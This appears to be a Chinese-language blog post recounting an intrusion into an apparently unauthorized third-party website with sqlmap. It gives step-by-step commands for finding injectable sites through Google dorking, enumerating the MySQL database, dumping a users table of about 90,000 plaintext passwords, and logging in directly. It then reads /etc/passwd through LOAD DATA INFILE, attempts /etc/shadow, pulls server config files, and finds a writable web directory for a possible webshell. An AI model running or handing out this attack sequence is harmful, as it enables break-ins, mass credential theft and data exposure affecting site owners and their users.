sqlmap 是個 sql 注入掃描工具,python 語言寫的,剛好自己對這個比較感興趣,下載下來看。
cmd> python sqlmap.py -h 查看幫助資訊
其他 -g 選項可以通過 google 查詢來找到有 sql 注入的網站,不過 python 中使用www.google.com ,
對中國的用戶會出錯,找到源代碼, 位於 lib/utils/google.py , 替換成 www.google.com.hk 就可以了。
example: python sqlmap.py -g "allinurl: php?id="
對一個網站,找到一個注入: http://www.xxxx.net/userdetail.mpl?userid=133677
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"
找到數據庫 mysql ,apache 服務。
查看當前 mysql 用戶
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-user
查看數據庫
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-db
查看用戶權限,運氣好,root 為管理員,接下來就簡單了。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --privileges
查看表名
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --tables
找到用戶表,users ,下載
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --dump -T "users
"
下載後,可以看到所有用戶,有 9 萬條數據密碼居然不加密,找到 admin 和密碼。
登陸網頁界面,沒有管理界面,上傳不了 webshell
掃描該網站開放端口: 80 ,22,3306
嘗試用該密碼登陸 ssh ,不行。
直接 mysql 登陸,成功 。
接下來就是 mysql 提權了,不過 mysql 不是 root 用戶運行,權限不夠,mysql 5.1 版本,UDF 用不了 。
只能利用 mysql 的 load data in file 嘗試獲取系統資訊:
登陸 mysql 後:
use dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test ;
select * from test ;
成功出來用戶資訊 ,用同樣的方法獲取 shadow ,失敗,權限不夠。
用 sqlmap 直接下載系統文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
下載 mysql 配置文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf
功夫不負有心人 ,終於在這些文件找到了網站的一些目錄:
/opt/images/
成功的在網頁上訪問到
可以寫文件進去,不過該網站用 perl ,不熟悉,暫時先到這裡。
總結: 可以看到,一個小小的漏洞,可以突破一個網站,甚至拿到 root 。